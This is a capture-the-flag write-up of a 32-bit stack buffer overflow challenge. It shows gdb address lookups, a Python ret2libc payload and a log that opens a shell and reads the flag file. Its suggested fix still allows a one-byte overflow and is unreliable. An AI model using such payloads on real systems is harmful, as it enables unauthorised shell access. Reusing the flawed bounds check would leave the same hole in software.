ELF x86 - Stack buffer overflow basic 6

Abdoulkader MOUSSA MOHAMED

February 2023

1 Search vulnerability

The following protection is enabled on the program : *Pile non exécutable*.

Let's firstly read the source code of our program.

```c
..
int main (int argc, char ** argv){
    char message[20];

    if (argc != 2){
        printf ("Usage: %s <message>\n", argv[0]);
        return -1;
    }

    setreuid(geteuid(), geteuid());
    strcpy (message, argv[1]);
    printf ("Your message: %s\n", message);
    return 0;
}
```

We notice that :

* the argument data that we will give to the program will be copied in the buffer **message** by **strcpy**. However, the length of the data is not controlled while **message** size is limited. So this is vulnerable to buffer overflow attack.

Let's draw the stack. Using **objdump -d program**, in assembly code of main, we can see :

```
lea    -0x1c(%ebp),%eax    // ebp-0x1c is the offset of 'message'
..
```

So the stack looks like :

```
Highest Address

--------------------
saved eip (4 bytes) |
--------------------    eip
saved ebp (4 bytes) |
--------------------    ebp
...
--------------------    ebp - 0x8
| message (20 bytes)|
--------------------    ebp - 0x1c
Lowest Address
```

What we can do here is what we call **ret2libc** technique.

2 Exploit it !

Before that we start to exploit the vulnerabilty, we know that we are in an little endian architecture.

Now that we are ready, let's go.

We firstly need to have the address of functions **system, exit**.

```
$ gdb ch33
..
(gdb) break main
..
(gdb) run
..
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xb7e67310 <system>
(gdb) print &exit
$2 = (<text variable, no debug info> *) 0xb7e5a260 <exit>
```

Then we need to have the address of **/bin/sh**. We look for it in libc.

```
(gdb) info proc mappings
..
        0xb7e27000 0xb7fd2000   0x1ab000        0x0 /libold/i386-
    linux-gnu/libc.so.6
        0xb7fd2000 0xb7fd4000     0x2000   0x1aa000 /libold/i386-
    linux-gnu/libc.so.6
```

```
        0xb7fd4000 0xb7fd5000      0x1000   0x1ac000 /libold/i386-
    linux-gnu/libc.so.6
..
(gdb) find 0xb7e27000, 0xb7fd5000, "/bin/sh"
0xb7f89d4c
1 pattern found.
```

Now he need to compute the padding that we will add. The padding is the number of character that we need to get to **saved eip** from **message** :

`padding = 0x1c + 4 = 32 bytes.`

Let's prepare a python script :

```python
#!/usr/bin/python
import sys
# Padding with 'A's : 32( 28 + 4)
buffer = b'A' * 32
# Set saved eip to system@libc
buffer += b'\x10\x73\xe6\xb7'
# Set to exit@libc 0xb7e5a260
buffer += b'\x60\xa2\xe5\xb7'
# Set argument to "/bin/sh"@libc 0xb7f89d4c
buffer += b'\x4c\x9d\xf8\xb7'
# Printing out the buffer
print(buffer)
```

Let's run the program :

```
app-systeme-ch33@challenge02:~$ nano /tmp/exploit.py
app-systeme-ch33@challenge02:~$ cat /tmp/exploit.py
#!/usr/bin/python
import sys
# Padding with 'A's : 32( 28 + 4)
buffer = b'A' * 32
# Set saved eip to system@libc
buffer += b'\x10\x73\xe6\xb7'
# Set to exit@libc 0xb7e5a260
buffer += b'\x60\xa2\xe5\xb7'
# Set argument to "/bin/sh"@libc 0xb7f89d4c
buffer += b'\x4c\x9d\xf8\xb7'
# Printing out the buffer
print(buffer)
app-systeme-ch33@challenge02:~$ chmod +x /tmp/exploit.py
app-systeme-ch33@challenge02:~$ ./ch33 "$(/tmp/exploit.py)"
Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs‘
            L
$ ls -a
.  ..  ch33  ch33.c  .git  Makefile  .passwd  ._perms
$ cat .passwd
flagflagflag
```

Bingo!

3 How to correct it

To avoid this kind of vulnerability, we just have to control the length of data given in command line. Here is a fix of the program :

```c
#define BUFFER_SIZE 20
..
int main (int argc, char ** argv){
    char message[BUFFER_SIZE];

    if (argc != 2){
        printf ("Usage: %s <message>\n", argv[0]);
        return -1;
    }

    if (strlen(argv[1]) > BUFFER_SIZE){
        printf("Data too long! Must not exceed %d\n", BUFFER_SIZE);
        return -1;
    }
    ..
}
```